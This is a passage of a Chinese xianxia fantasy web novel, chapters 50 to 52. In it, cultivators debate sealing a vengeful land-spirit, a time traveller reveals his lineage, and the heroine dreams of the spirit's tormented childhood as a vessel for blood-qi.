“虽然不能永久囚住,但单凭那点人产生的血气,封存差不多千年,绝对是没有问题的。”棠溪迟并不觉得这个办法对个人来说会多残忍,也不觉得千年孤寂多难熬过。
身如浮萍之人,从不觉得孤独恐怖。
章窈漪的脸色一寸寸变得苍白,她好像从未真正了解过自己这位大师兄。
他就这样一声不吭,在别人的计划上,有了自己谋算……
姜涟清简直不敢相信自己听到了什么。
这乍一听如此完美,可压根没有把人当做人去看!对比起妄洲灵的怨念,对比起阿墨迷茫却又心甘情愿,棠溪迟简
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直比这些不完全懂得人性的灵还要冷漠无情!
“这不对!章楼主做错了什么便要遭受此刑?而且以你现在的修为根本不可能做到封印之事!”姜涟清据理力争,“若真按此法,必要有法子将章楼主还回来才行!”
“呵。”
棠溪迟嘲讽般冷笑一声。
“章流漪最错的就是不该去接触妄洲灵啊,还能是什么?还要法子,我给你数数,红线引是绝对没有可能的,至于我……”
啪嗒。
夏期的一枚小石子落在地上,发出一声轻响,白发绯瞳的少年从房顶一跃而下,嘴里还念叨着掉到哪里去了。
在灰扑扑的地上找到那块晶莹剔透的石头时,他回头笑得灿烂:“诸位,有些是生面孔啊,初次见面,我叫夏期。”
而此刻却无人搭理他,夏期自知没趣,带着他的小石头又消失了。
“至于我。”棠溪迟深呼一口气。
他现在的样子不似当初意气风发少年郎,沉稳得与一个人相似七分。
“这种同死共生咒,钟离既白又做不出来,就是做出来了,去哪里寻一个人当做章流漪的替身呢。”
“你们若还能想出别的,替换灵魂链接法的子,那在下倒也不是非要章楼主以身涉险。”
同死共生咒。
钟离既白蓦然抬头:“即墨逾给你用同死共生咒,他改了什么东西!”
“我不知道。”棠溪迟道,“他叫他那小师弟将这些东西都一把火烧了。”
他声音一轻:“倒是死的干净。”
“哈……”楚逢生一转头,“你们两个都是疯子吧?我说你,还有即墨逾。”
棠溪迟:“或许我是。”
至于即墨逾,他绝不是一时冲动而已。那他自然不能辜负挚友的期望。
姜涟清一时五色杂味,抿了抿唇却又说不出口。
当真是这样。
没有其他替换灵魂链接的方式了。世上灵修本就稀少,其功法不是常人可以参透的。
灵魂之事本就该慎重,灵修走下的每一步路,都是深渊之上透明的阶梯。
无论红线引,还是同死共生咒,在这之前都有过血的教训。而这只同生不同死的同死共生咒,创造者已死,记载焚烬,便再也不可能如法炮制。
眼下进展已按照棠溪迟的谋算进行……
姜涟清抬头:“那还是那句话,以你现在的修为,不可能起一个这样的大阵。”
棠溪迟:“我是不可以,钟离既白也不可以,这便是为什么我说,要姜门主您修炼到化神了。其一是因唯有化神之后才得以一战,其二便是……唯有卜修,才能引来那封洲云雾。”
“我自认为,起码要到化神,才更有把握。”
云雾。
楚逢生敏锐地捕捉到了其中关键。
千年后的妄洲有很多名字,荒芜地,飞升之地,还有……层云迷境。
此名源于飞升前的救世主,所引来的,包围了整个荒芜地的云。
原来是这样来的。
姜涟清蹙眉:“为何要卜修?”
棠溪迟:“你是窥天命之人,吴云贺说你惊才绝艳只能是这方面,毕竟姜门主你实在不精于打架。”
姜涟清:“……”剑修就可以鄙视卜修的武力了吗?
“你肯定能猜到我要你布什么阵的,姜门主。”棠溪迟掏了三枚萱花铜钱把玩,态度与之前一样吊儿郎当,“毕竟你是这方面的奇才啊,一路上都没有作用的东西,该发挥作用了。”
但不会有人觉得他在开玩笑了。
姜涟清的确听明白了,没道理不明白。
其中关键便是那二字,云雾。
“蒙蔽日月,掩去辰星,召来云雾裹挟整片大地,阻挡天道之手,从此,人为天命。”
此阵,确实唯有卜修能布。
她突然想起,在血月夜那天的白天,她问谢砚声,什么是天命呢?
“姜门主,还要我说的再明白一点吗?那是卜修的飞升捷径,只要布出此阵,不是渡劫境也无妨。哦,也不能说捷径,迄今为止除了那位陨落的司命,没有第二个人能碰到门槛。”
姜涟清:“你凭什么觉得我够得到?”
“我不觉得,但赌一赌,能怎么样呢?”
话再轻浮,可棠溪迟的表情告诉她,他笃信她的天赋够到了。
够到了,那名便是“天命”的飞升之法。
大师兄。
这是天命吗?
50. chapter.50决定
明月高悬,灯火如昼。
夜晚的芳华城依旧热闹,更准确来说,是明月楼格外热闹。
姜涟清站在栏杆前,仰望夜空。
盈洲的夜晚有云层遮挡星星的踪迹,比不得降星洲那万里晴空。说来,为何降星洲的卜修最多,就是因为降星洲最易观星。
眼下这星星看不见,月亮也藏进云里。
她叹了口气,转身回到屋里,要去找楚逢生。
姜涟清一直在想,天命到底是什么样子呢?秘籍对天命阵的记载,只说它将阻挡天道之手,此后云雾所断隔开来的地方,再不守天道所制。
天道……她垂眸。
事实上,根本没有人能说明白,天道是不是在控制此方天道的命运吧?那到底是为什么呢?
她想起造出天命阵的那位司命,他的理由是要人不受命运制约,走出自己的路来。
可这也太过矛盾了,没有人能证明自己的命运一开始就注定。
与其说他是为了什么人掌握自己的命运,还不如说,他在向天道证明。证明人定胜天。
他成功了,也失败了。
当时他布阵的那处天地便是云上洲的飘飖山。飘飖山没有雪,只有烟岚云岫,朦胧山色。
他成功了,所以飘飖山没有霜雪,他失败了,因他成了天上的司命,再也无法干预人间事。
为何神迹与神的回应从未在尘缘九洲出现,唯有那些飞升之人飞升前的传闻呢?
因为神从不干预人间。
飞升成神,那人间的传奇、悲歌,就只有一双眼睛可以看见。再也改变不了任何。
推开楚逢生的房门,却意外在这里看到了其余三人,只有棠溪迟不在。
楚惊鸿伸手挥了挥:“姜姑娘,你也来啦?”
姜涟清关上房门,问:“你们怎么都在这里?”
钟离既白答:“只是有点好奇,这个……另一位楚医师,好肯定哦,他好肯定我不会失约。”
章窈漪听了钟离既白绘声绘色的描述后,对楚逢生也起了疑心。她煞有其事地点点头:“就是啊,好肯定!而且他根本不叫楚予思,干嘛顶着人家的名字?”
楚逢生:“……”这不是一开始没有想到因果循环。
姜涟清在楚逢生身边坐下,替他狡辩:“那他用了楚予思的身体,不说楚予思的名字,别人以为他夺舍怎么办?”
楚惊鸿沉默片刻,郑重点头:“我最开始确实是这么以为的。”
但知道这是同一个灵魂之后,她也没有那么悲伤了。尽管今生的记忆无法与前世互通,可说到底还是一个芯子。
钟离既白咂咂嘴,满脸探究:“实在是太神奇了,这种穿越时空之事,还好巧不巧,是今生魂穿了前世,我一直在想,该是多少年后的前世。”
楚逢生一翻白眼:“一千年以后,你满意了吗?”
“一千年……那么久?”章窈漪不可置信地眨眨眼,“那你岂不是什么都知道啦?我们最后成功按死那个妄洲灵了吗?还有我阿姊,她会好的对吧?”
楚逢生眼都不抬一下:“无可奉告,谁来问都不说哈。”
钟离既白:“也能理解啊,毕竟是未来之事,就和镜花水月一样,万一扰乱了过去的历史,就看不到原先的走向了,当时候谁也不知道结局是什么。”
“这么久都守口如瓶,在下佩服。”
楚逢生吊儿郎当道:“不敢当不敢当,既然也知道我不是楚予思,那就别给辈分乱了。”
姜涟清好奇扭头:“你不会真是他们俩后人吧?”
她之前就有所猜测,楚逢生说的那什劳子逃命少爷就是他自己,既然是少爷,家产肯定很多咯?而且他还姓楚,那这明月楼要是开了一千年,家中财产肯定很多。
别说什么随父姓,钟离既白在外都叫自己楚白了。
楚逢生疑惑:“为什么是真是?”
“那好吧。”他耸耸肩。一双桃花眼扫过面前那对眷侣,楚逢生张嘴:“太爷太奶。”
楚惊鸿:“?”
钟离既白:“?”
二人僵硬转头,对视,在对方眼中看见了同样的不可置信与惊悚。
可不是惊悚,连婚契都没正式结一个,突然被叫了太爷太奶。
楚逢生转了圈眼珠,无奈叹气:“唉……我也不想,但刚听到太奶奶你的名字的时候我就明白了。”
“太爷爷太奶奶,这样辈分就对了,你们满意了吗?”
章窈漪觉得魔幻:“啊?”
“还有你。”楚逢生又将矛头对向章窈漪,“你也是长辈,没想到现在这么小,和我听见的完全不一样。”
章窈漪:“啊???”
刚刚还夸他守口如瓶,怎么现在就和竹篮打水似的,什么都往外漏!
楚逢生无所谓说:“这种又改不了什么,总不能说我喊了太爷太奶,他们就不在一起了吧?总不能我说窈窈和我所听闻的不一样,她就不长成那样了吧?没有任何影响的事我想说就说。”
还真是性情中人啊……
姜涟清在桌底下悄悄摸到了他的手:“那,你可以告诉我,你在千年后是什么样吗?”
楚逢生一愣,不动声色地拉住了那只手,心中一片暖:“其实长得一样,没有很大差别,不过我年纪小点而已。”
姜涟清摇了摇头:“我是想问,你千年后过的是什么样的,因为你之前不是说你是……”她没有继续说下去,只是眨了眨眼睛。
这下轮到楚逢生沉默了。
那一段鬼话无非是他对自己嘲讽罢了,说到底谁也不能把他怎么样,哪怕是青虚谷那群技不如人就耍阴招的。
要说过得多好?那倒没有,毕竟在家时一天天被念叨成逃避模样,一个人埋进藏书阁翻史书,在青虚谷又要应付身份有点尊贵就看不得别人比他优秀的蠢货。
可过得多差吗?不可能的。
“也没怎么样,就是要我继承家业而已,一个两个说除了我没别人能胜任,又不让我当医修,脑子里装的什么这么能自相矛盾。”楚逢生又翻白眼,“医修怎么他们了,有病似的,天赋就在这方面,爱念叨就念叨,反正我就当这个医修又能如何?”
姜涟清:“他们搞歧视?”
楚逢生否认:“那倒不是,歧视医修他们还想不想在尘缘九洲混了?只是觉得医修护不住这偌大家业而已。”
“哈。”他嘲讽,“志在剑修符修刀修的,他们看不上那点天赋,看上我的天赋又想让我转行,有病似的。”
楚惊鸿一拍桌子:“怎么这样?没天赋的怎么了?修道就已经是天赋异禀了好吗!”
“就是就是。”钟离既白附和,“我哪一代后人啊,我到时候一定帮你说道说道,医修怎么了?谁敢得罪医修,不想活了吧?”
“算了吧。”楚逢生一想到千年后这位太爷是何种模样,就不由叹息。
“我想问你啊,
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你这手要是一直好不了,百闻相见要怎么办?”
钟离既白弯起唇角,故作轻松。他毫不犹豫:“给它寻个有缘人,总不能一直跟着我,毫无用武之地。”
“怎么,是百闻相见后来怎么了吗?”
“不是。”楚逢生否定。
“它会有新的主人,我在穿越之前,就听过那人的大名了,百闻宗确实是……”那般传闻中之人意气风发,“盛产天才之宗门。”
桌底下的手突然被握了一下,一转头,身边人烟青色的眼眸水润,好似有些遗憾地看着他。
姜涟清:“有点可惜。”
楚逢生:“什么可惜?”
哪里可惜呢?
在她意识到这些命中注定般的巧合后,本是欣喜的,反而忽略了最大的问题。
“我们有时差。”
姜涟清突然觉得未来缥缈如云烟:“如果天命阵真的能成,要怎么办?”
如果我真的做到了,我们要怎么办?
“你会回去吗?你知道要怎么回去吗?”
就算他不回去,要是真的通过这样的方式,恰巧飞升了,也将无解。
“会。”楚逢生不需要思考就能给出答案,“就像你有你的坚持,涟清,我在千年以后还有我的烂摊子要解决。”
“我知道要怎么回去,在即墨逾用同死共生咒之前,他把办法告诉我了。”
“不过不要担心,我会陪你走完这一路的,决不食言。”
说着,桌下的手松开了。明明是楚逢生的年纪更小,此刻却像年长者般摸了摸她的头发。
随后将那红色飘带卷在手指上,绕了几个圈。
最后一刻,他想。
这注定无果的感情,只能到最后一刻。这不是他的时空,他不可能在这里停留太久。
他们各有各的坚持,于是注定不可能有谁为谁妥协。
况且……他看过到,她旅途的终点。
章窈漪双手托腮,面色古怪一瞬:“你们两个……好奇怪呢,你们现在到底什么关系?不要这么旁若无人嘛。”
“小孩子就不要问那么多了,千年后我会当你是个长辈,现在可不会哈。”
楚逢生自然松开了红色飘带,姜涟清的神色亦恢复如常。
那便到最后一刻吧。
姜涟清对自己说。
落花有意,流水有情,又能如何?这一眼便能看到的结果,还能有什么转机吗?
试试吧,她去试试。
姜涟清突然站起来:“我去看看那本秘籍。”
楚惊鸿:“什么秘籍?”
钟离既白:“你真要听棠溪疯子一样的办法吗?恕我直言,姜门主,我不认为只有这样的办法。”
“可是你也说不出别的办法啦。”姜涟清无奈,“红线引不行,同死共生咒不行,还有什么法子去替换灵魂链接吗?”
钟离既白不说话了。
是,他没有。
同死共生咒怎么会变成同生不同死,他都百思不得其解。
即墨逾当灵修,改术法有一套,真是……他的灵机一动,真是让人头疼。
这一死,再没有第二个人做得到了。
姜涟清一笑:“那就只能这样啦,只是试一试,不成功大不了一死,还能怎么样?死了也不过是去见我的长辈和同门,没有什么可怕的。”
会成功的。楚逢生心说。
毕竟,是救世主大人。
51. chapter.51入梦
看着桌上那秘籍中所绘烟云,姜涟清莫名想起了天机镜的另一个用处。
想到便试,她又一次掏出了澄明的镜子,轻轻敲了一下镜面,使用灵力与之相连。
镜面泛起波纹,好似水面泛起涟漪。
姜涟清从天机镜里找到了一件东西。
这名为摇光的灵摆,果真就藏在这里。摇光,北斗七星中最后一颗。
严格来说,灵摆并不只属于他们卜修,灵摆所探测到的东西,更多还是那些细枝末节之物。
然而,若要动摇一处地脉的命运,也就要从细枝末节出发。
难怪。她想。
难怪师尊要将天机镜传于她,是早便料到了吗?
世人皆知,卜修从不是为飞升成神而生了,他们为预知灾祸提前制止而来。若说千门百道谁最无可能有成神的机会,那便是卜修。
窥天命是要付出代价的。
历代卜修都这样告诉自己的后辈。观星并不是最损本身的事儿,只要有些研究,这些星象外人也能看懂。
那些付出代价之人,往往用到了星盘,捕捉到了命运的准确轨迹。
命运是无形的,却是可以推测的,卜修所窥见的天命,是数百种可能中,概率最大的那一个。
这多半,也便是所算之事的走向了。
卜修是最不可能飞升的。而那位为飘飖山带来常绿的司命大人做到了,因他隔断了天道的手。
可直到现在都无人知晓他的名讳。
这是代价吗?抹去姓名,唯留封号,这是卜修成神的代价吗?
争天司命。
卜修中的传奇。
天命阵所需之物,姜涟清恰好都有,就如同师尊都算好了一般……天机镜,摇光灵摆……尽数交予她。
那起阵之法,归谕门弟子再熟悉不过了。
三枚铜钱置于掌心摇晃,掷出,待到铜钱落地。每日一卦。
随后摇动灵摆,灵力附着其中,探索天地的轨迹,悉数围成一个无缝的图形,深深埋进地底,阻断与九洲之连接。
到时……妄洲灵便再也不归九洲了,相当于将祂驱逐。这样真的好吗?姜涟清问自己。
那吸收血气的阵法并不会停止,一切都是暂时结束,而到时候因这连接一断,后世要如何应对?期待再有一个人前来将之封印吗?
她的本命盘,已好久没再思考过。
这又一次想起,只为自己的心安。楚逢生知晓未来之事不假,可她亦然有法子推测。
……这样啊,与其说是命中注定,还不如说,她便是这般人。
今日思虑过多,姜涟清终于感到疲惫,倒是时候好生休息一番。
闭眼之前,她已有决心。
天命必然是她这般女子。
一时便一时,没有更多时间了。
*
呼啸狂风吹进了梦境,漫天飞沙遮天蔽日。
少女在沙漠中徐徐前进,警惕地看着周围风沙,却未因此感到阻力。风儿将她领到沙尘之中,带她见到了一片红色的玫瑰。
这玫瑰,她在镜花水月中见过,只是这周遭建筑完好,并不是那断壁残骸。
之前,秋许说,最会卖可怜的那一个一定会来她的梦里。
她垂眸,只能想起一个人——冬愿。
这是多少年前的妄洲呢?姜涟清漫步在花丛中,走过这片芬芳之地,在屋檐下见到了一个小女孩。
女孩的眼睛是明艳的红色,纯白发丝的末端渐变成黑,正瑟缩在屋檐之下,任凭风沙吹过她身边,眼睛一眨不眨。
这就是阿愿。姜涟清想。
蓦然,一红衣女子穿过她的身体,越过这片玫瑰来到女孩面前蹲下。
那熟悉的眉眼此时还有着少女般的天真烂漫。
章流漪将她的刘海拨到耳后,轻声道:“阿愿,怎么一个人坐在这里吹风?”
阿愿终于眨了眨眼眸,闷闷不乐说:“好无聊啊,小玫瑰。我要一直一直待在这里吗?我不可以出去吗?”
章流漪拍掉她发丝上的黄沙:“怎么又这样叫我?很可惜,但是不可以哦。我倒是很想带你出去看看沙子外面是什么样的。但师尊下了命令,所以你绝对不能离开这里。”
阿愿:“那他坏!”
“嗯嗯。”章流漪温柔附和道,“他坏,我们阿愿好。所以为什么还这样叫我呀?”
这般哄孩子的话,她在许多年后也和章窈漪说过,原是在这时便有了经验。
也是,初生的灵和一张白纸的小孩子没两样,他们同样是第一次睁眼看世界。
阿愿:“你很好看嘛,还是红色的。像小玫瑰一样好看,所以就是小玫瑰呀。”
章流漪:“哎呀,我这么好看吗?”
阿愿诚实地点点头。
章流漪挂着笑意,坐到祂身侧:“那,为了感谢阿愿的夸赞,我给你讲讲我的家怎么样?”
阿愿:“你家在哪里?在沙子外面吗?”
“是啊。”章流漪还是第一次离家这么长时间。
等阿愿出生的时间还是太过长久,最开始她感慨过紫极洲那位天骄,真是有先见之明。
可当看见阿愿降生时,那种喜悦是不可比拟的。祂是一个美好的愿望,即便祂是为了别人的愿望而生。
仙长们为她起名阿愿,便是希望这厢阵法在阿愿身上成功,从此便再也不用担心血气肆虐。
章流漪最开始并不觉得这有什么错误,可她发现,阿愿和他们没什么不同。她不是没有思想的空壳。
于是尘埃落定的轻松转化成了哀伤,于是在玫瑰花海里,她向祂伸出手,于是现在,她为祂讲述沙外风景。
“我的家在盈洲,要过一个初日洲才能来妄洲,说来路远。我快记不清瀑布的样子了,实在好美,像银河。”
“瀑布是什么?”
“山高水长嘛,瀑布其实就是山水,只不过是从很高很高的山上落下来,晶莹剔透的。”
“唔……想象不出来。”阿愿努努嘴。
“如果有机会的话,秋天的时候,我们去看瀑布吧。”章流漪一把搂过失落的小女孩,“我的家,昙城那里,初秋时的昙花是最后一茬,届时还会办庙会。不过这个我就有点描述不出来了,总觉得怎么说都词不达意。”
“秋天是什么?”
“一个季节,就好比现在是夏天。一年的开始,是春天,而后是夏天,秋天,最后到冬天……”
……
梦境的画面突然变得模糊,那相互依偎的两个身影逐渐埋葬在风沙中。
随后,她听到一阵细微的哭声。
“疼,有点疼……”
阿愿倒在玫瑰花海中,看着自己的手腕上冒出一个又一个细小的伤口。裂开又愈合,循环往复。
几点晶莹的泪落在沙地上,很快干涸。
祂抬头,伸手想要抓住什么,可最终只看着那行人越行越远,成了一堆密密麻麻的黑点,消失在风沙里。
阿愿浑浑噩噩道:“什么时候是秋天呀……到时候,小玫瑰还会来带我去看瀑布吗?银河又是什么东西……上次忘记问了。”
“下次吧……下次一定想起来问……”
小女孩碎碎念着,渐渐在花海中睡去,不断渗出的血液渗入黄沙地。
画面再见改变了,这次,姜涟清发现自己站在风沙之中。
一个小小的红色影子,在风沙里匍匐前进,爬出一道血痕来,又很快被黄沙掩盖。
“疼……好疼……我好疼……”呜咽的哭声怎么都止不住。
“我要出去……我要出去……我不要再待在这里了,
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不要在这里……我不要在这里……”
泪水模糊了视线,沙灰蒙住了眼睛。祂根本找不到方向,只是一味爬着。
伤口愈合的速度依旧很快,可出现的频率显然比之前更快,沙子黏在祂的伤口上,在伤口愈合时,裹进祂的皮肤里。
祂留下的泪再也不干净了。
血泪糊脸,面上的伤口带着许多沙粒融进她的面颊,已然看不见当时清秀模样。
姜涟清一路跟在祂身后,看祂爬了一路,最终风声终于小了。
阿愿扭曲的脸上浮现一个欢喜的笑来,爬得更快了。
可当祂出了那狂风肆虐沙尘的,入目是一片红色的玫瑰。那玫瑰下的土地吸了她不知多少血,这猩红的玫瑰随风摇曳着,好不惬意。
阿愿美丽的瞳孔一点点缩小。
血泪再度落下。
小小的影子在花海前痛哭流涕,血流进脚下这片土地。
永不,分离。
“我不要在这里……我不要在这里……我不要在这里……”
“谁来……救救……我……”
然后呢……那春望那时,发生了什么?
场景再度转变,一红了脸的修士跪倒在地,老泪纵横,身后是他一脸刚正不阿的同伙女子。
女子愤怒道:“懦夫!你就这样对一个容器下跪,修士的气节在哪里?!”
修士转身低声怒吼:“闭嘴!”
冬愿器械般僵硬歪头,此时的瞳孔空洞无光,满是冷漠:“容器,是什么意思?”
修士连忙磕头:“大人!大人!你放过我吧!我本无意闯进这里,是那女人偏要拉我来找什么沙红姬的!我是被生拉硬拽来的啊!”
融进阿愿皮肤里的沙子再也没有取出来,此时的她,当真是丑陋至极。
“我问,容器,是什么意思?”
修士还未开口,那女子冷哼一声,一副看不起她的模样。
阿愿现在看得懂人的表情了,那人看不起她。
“不过是容纳九洲血气的容器罢了!还是我等修士造出来的东西,到底在怕什么?”女子抓了一枚玉佩,一下子扔到修士的背上,砸得他闷哼一声。
“大人!大人您别听这女人胡言乱语!”修士试图上前去抱住阿愿的腿,却被一脚踹开。
“血气是什么?”
“自是污染灵气的有害之物!连自己为什么而诞生都不知道的东西!”女子依旧看不起祂。
“哦,这样啊。”阿愿浮出一个诡异的笑来,“这样一来,不该说,我是你们的恩人吗?”
女子一愣:“什么?”
阿愿搓出个诡焰,缓步靠近那女子:“承了我的恩,还要再踩我几脚,你是这样表达的,没错吧?”
姜涟清只看见那诡焰向着女子砸去,后这情形便被模糊掩去。
她感觉到,有一双幼童的手,抱住了她的腿。
姜涟清低头,白发绯眸的小女孩楚楚可怜地跪坐在她脚下,两行血泪落到土地上。
“求你,我不要留在这里。”
“我不想留在这里,让我出去吧……”
姜涟清叹出一口气,转身蹲下,用袖子抹去了她的泪。
“本来或许,你不用再留在这里了。”
“可是现在……你必须留在这里了啊。既然懂得以德报怨是不对的,也该知道,无论你是谁,所作所为若造成伤害,便怪不得有人前来阻止你。”
冬愿的眼睛一点一点变冷,像淬了霜雪。
姜涟清继续说:“这就是因果,你想怪谁呢?若是要追根溯源,便谁都怪不得了,因谁都有理由。”
冬愿:“所以,你也不愿意救救‘我们’。”
“……不是不想。”姜涟清将她吹乱的发丝拨到耳后。
“是没有机会了。”
52. chapter.52看见
风沙中,那面色冷漠的女孩渐渐模糊身影,最终化作飞花,卷进狂风里。
梦终于苏醒。
姜涟清睁眼的那一瞬,不由自主叹了口气。
如果说命运是所有人自己走出来的,那推测的所有故事走向,都是基于此人本身。
如果这也算是命定,那也只能是自己给予自己的命定。
天边霞光乍泄,太阳依旧升起。
姜涟清从床上爬起来,最后看了桌上那秘籍一眼。
所以,她为自己挑选的命运,是前往妄洲,换取千年平定安稳。
*
下楼后,明月楼内之人依旧很多,姜涟清只得先去要了一碟炒花生,端回楼上,敲响了楚逢生的房门。
好巧不巧,他又不是一个人。
昨夜有三人来此,今早又有二人到访。
棠溪迟毫不意外姜涟清会找过来,毕竟除了楚逢生和她一路前来,信任程度最高,还能和谁商议呢?
姜涟清:“你怎么在这里?你找楚逢生干什么?”
房门一关,夏期从窗边飘到姜涟清身侧,搓搓手,将魔爪伸向那碟炒花生。
“给我尝尝这个呗!”
姜涟清看着夏期抓走了一把花生,又走到桌边坐下。
当——花生碟子落在桌面上。
棠溪迟还未回答她的问题,只是挂着他那意味不明的浅笑。
楚逢生无语地转了圈眼珠,双手抱胸,哼笑一声:“呵呵,这个人大早上敲我房门,和强盗一样进来就坐下了,美名其约不能打扰你。”
“不能打扰你所以就打扰我,反正你肯定会来找我。”
棠溪迟:“不正是这样的道理?哪有敲女孩子房门的,那只能来楚医师这里守株待兔了呀。”
楚逢生毫不犹豫翻了个白眼,椅子一移就到了姜涟清身边。
姜涟清:“所以你要干什么?”
“没什么,就是想问问姜门主,考虑清楚了没有。毕竟,等夏期回到妄洲的时候,要面对的就是一个完整的阿愿了。”棠溪迟道,“完整的阿愿,就是七年前的钟离既白也不能拿祂怎么样,毕竟我们都只能和四分之一打得有来有回罢了。”
说到夏期,姜涟清倒有个疑问。
既然灵魂链接已经断了,夏期为什么还跟在棠溪迟身边?怎么想都绝不是细思极恐的答案,毕竟以夏期简单的思维……
姜涟清道:“你也会去妄洲的,对吧?”
棠溪迟点头:“自然。”他用下巴指了指边上剥花生脆壳的夏期:“我要把他送回去。”
夏期一听,茫然抬头:“把我送回哪里?”
棠溪迟:“你该去的地方。”
白发绯瞳的少年人脸色一下子便沉了下来,阴郁的魔息四处发散。棠溪迟二指夹住一枚萱花铜钱,眼睛也不看就向夏期正门抛掷。
晃啷……铜钱滚落在地。
“唔……”夏期被砸得眼冒金星,那魔息一点点散去,“又打我。”
姜涟清:“……”为什么是又?
楚逢生不客气说:“不打你打谁啊?”
夏期冷笑:“要不是即墨逾这个人阴成鬼了,我也不至于去哪里都要看棠溪脸色。”
“即墨逾装哑巴有一套,一声不吭得就对我的灵体做手脚,阴险!现在好了,哈!就算棠溪要把我扔回那个鸟都不来的地方,我也没辙。”
楚逢生一挑眉:“嚯,那真是太好了,即墨逾还有这种手段呢,就是死的有点早,不然现在他肯定能派上用场。”
姜涟清在桌下掐了一下他的手,烟青色的眼眸狠狠一瞪。
哪壶不开提哪壶!知道斯人已逝还口无遮拦,棠溪迟生气什么样虽然还不知道,但很难不生气吧!
楚逢生被看得心虚,意识到这样说似乎不妥。他轻咳两声:“呃那个我不是……”
“确实,一开始就让我去死,他肯定会有更好的解法。”棠溪迟没有让他说完抱歉的话。
“所以我生气啊,我气他擅作主张。他凭什么觉得我活下来是比他有价值的?呵……”
扯了这么久,棠溪迟又归到了原先的话题:“所以,姜门主考虑清楚了吗?此事迫在眉睫,怕是没有更多时间可供考虑了。”
考虑清楚了吗?自然是考虑清楚了。
可这问题从棠溪迟口中问出来,却莫名让人窝火。姜涟清总觉得有点膈应。
就像在碧云山时,他说让她起码到化神期一样,现在又拿着答案问问题。他笃定了。
姜涟清完全肯定。
棠溪迟笃定她不会拒绝的,她已经走过这一路,到了这最后时刻,注定是不会拒绝的。
骇人。姜涟清只能这样形容了。
但她也知道,这是对的,她自己也知道怎么做是对的。
“何必明知故问呢?”
棠溪迟:“总要得个具体的回应,才能安心嘛。”
冰蓝色的灵力附着到地上的萱花铜钱,铜钱又飞回他手中。
“好,那现在可以确定,去妄洲的是你我,还有楚医师。”
楚逢生一眯眼:“钟离既白居然对妄洲没想法吗?”
棠溪迟摇头:“自然不是,只不过他得留下来。当今天下乱成什么样子了,可不光极夜洲要先毁灭。”
“这不今早,就有个吓人的消息传来了。”他一下一下拨着铜钱。
从他口中说出的吓人,还真是……
他难得没有笑着说话,取而代之的是无比凝重:“云海,灌倒在沧洲了。”
姜涟清:“什么!”
云海便是他们渡船而来的那片海,当时还未有大碍,这怎么就……
楚逢生一皱眉,询问道:“因为妄洲灵回去了三个,是吗?一个冬愿没什么问题,还能撑,再融一个春望,也勉强可以,可又加上秋许就不行了?”
“不然呢?”夏期终于剥完了那把花生,一把扔进嘴里嚼吧,“阿愿如果没有变成我们,那七年前哪能和冬愿一样,这么简单就被打回妄洲?”
“拜托,阿愿虽然是人为制造而诞生的,但天道没有不认祂啊,不过待遇比极夜洲的差点,毕竟那个是真亲生。”
“嘻嘻~不过,现在应该都不太平了。”
姜涟清心下一沉,轻微蹙眉。
姜涟清:“为何?”
“因为阿愿已经集齐了四分之三,就差夏期了。”棠溪迟轻飘飘答道,“洲灵与洲受限于同种规则,但并不代表祂的影响只能留在当地。”
“云海倒灌,初日洲落雪,浮洲南棠狂风不息,紫极洲又一次的……王朝更迭。只有一件事不是祂做的。”
棠溪迟扶了一下额头:“祂又疼了,所以闹了点小动静出来,可这对人来说,就不是小动静了。”
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姜涟清:“所以钟离既白去处理这些事了?”
“嗯哼,不过沧洲不用担心,毕竟是机关城,会飞天也很正常。初日洲也不用太担心,毕竟是医修最多的地方,医者仁心嘛,不会让普通人冻死的。浮洲……好吧,充分体现了一个洲没有集中势力的弊端。”
“总之,如果没有其他疑点的话,二位,我们出发吧。”棠溪迟拨弄铜钱的动作停下了。
“没有开玩笑,是真的没有更多时间可以思考了。”
没有更多时间了。
姜涟清垂眸,思绪万千。
九洲各地都有不同灾祸,祸源便是妄洲的阿愿,即便阿愿的怨念,看起来是那般合情合理……
阿愿没有机会了。她想。
阿愿再也没有机会得到拯救了。
*
这一切对章窈漪来说,太过魔幻了。
她最开始,只是听师尊的命令,来将她大逆不道的大师兄带回云上洲而已。
可在沧洲,那久违的,无法掌控事态走向的感觉告诉她,你还没有走遍九洲的资格,怎么敢领这种命的?
对,原先不该是她下云上洲的。
是她想下来。
云上洲的日子太寂寞了,抬眼望去,终日霜雪满山头,万籁俱寂。
若说那日子不好吗?其实不然。说那云上洲的师兄师姐们修了无情道,便冷漠至极吗?那更不是。
与外界所传不同。
云上洲是极其护短的。
具体表现在棠溪迟一声不吭就下云上洲,到头来给自己带了个小师妹回来就又摆摆手走了,还有很多师兄师姐和师尊公堂辨嘴。
而且云上洲并没有很多无情道,顶多是最初都试过无情道罢了。越早明白自己不合适,那破道所带来的痛楚就越轻,反之不敢想象。
所以,章窈漪完全想象不出来,她大师兄那样在无情道上天赋异禀之人,碎道之时,该有多疼呢?
她还没想清楚,各种事件接踵而至。
比起那些多有经验的哥哥姐姐,她格格不入,事实证明,岁月是无法跨越的鸿沟。
没有人与她共感。
或许是她还太幼稚吧,可她不想要阿姊留在那未曾见过的黄沙里。
可有更好的办法吗?
她一遍又一遍地问。
有让阿姊不用留在那里的办法吗?为什么偏偏是阿姊呢?
可最终,在看见棠溪迟那像是病到疯魔般平静的笑时,她突然觉得害怕了,一句都问不出来。
她入道仅有七年,在普通人里也还是个未及笄的孩子。可章窈漪就是看见了,该看见的,不该看见的,全都看见了。
她不知道她到底在为什么哀伤了。
是为了那个会蹲下来轻声哄她的阿姊,还是当初那个意气风发,说她适合修道的大师兄?
都有吧。
哀伤她那么善良温柔的阿姊,被秋许选中,日夜不歇地骚扰,还要被带去妄洲,被迫留在灾祸起源。
哀伤她那么无拘无束的师兄,被挚友之死绑住了,无情道尽毁,又马不停蹄修了新的道,要寻一个解决天下难的方法。
莫大的悲哀压得她要喘不过气了。
她还太小了,她一下子接受不了这么多。可看见了,总比没看见好吧?
她想。
看见了,总比过看不见。